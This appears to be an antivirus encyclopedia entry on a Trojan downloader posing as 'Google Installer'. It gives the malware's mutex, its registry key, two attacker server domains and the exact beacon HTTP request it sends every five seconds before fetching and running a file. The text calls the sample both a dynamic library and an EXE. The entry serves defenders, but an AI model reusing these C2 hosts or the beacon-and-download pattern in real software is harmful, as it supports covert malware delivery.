Technical Details

This Trojan downloads other malicious programs from the Internet and launches them for execution without the user's knowledge. It is a Windows dynamic library (PE EXE file). It is 53 248 bytes in size. It is written in C++.


Payload

The Trojan is distributed as a set of free programs from Google called "Google Installer".

To ensure that its process is unique within the system, the Trojan creates a unique identifier:

s9a8mzjXWUUPFN6i
The Trojan also creates the following registry key:
[HKCU\Software\Google\Google Updater]
"GUID" = "<rnd>"
"value" = "4.023"
where <rnd> is a randomly generated unique identifier, for example "b7acd35b-4587-4f37-8b5f-925f03667e9d".

Every 5 seconds the Trojan sends an HTTP request to one of the malicious user's servers:

http://server-<rnd>.apartmsk.ru
http://server-<rnd>.ruporno.tv 
The request looks like this:
GET /stat?uptime=100&downlink=1111&uplink=1111&id="<rnd2>
"&statpass=bpass&version=5&guid=   <rnd3>&comment=4.023 HTTP/1.0
<rnd2> is a random sequence of digits in hexadecimal notation, for example "002F88D2"

<rnd3> consists of the values of the "GUID" parameter of the above-mentioned system registry key.

At the time of writing, the servers were inactive.

In response, a link is received from the server for subsequently downloading a file.

The downloaded file is saved in the current user's Windows temporary directory under a randomly generated name, after which it is launched for execution.
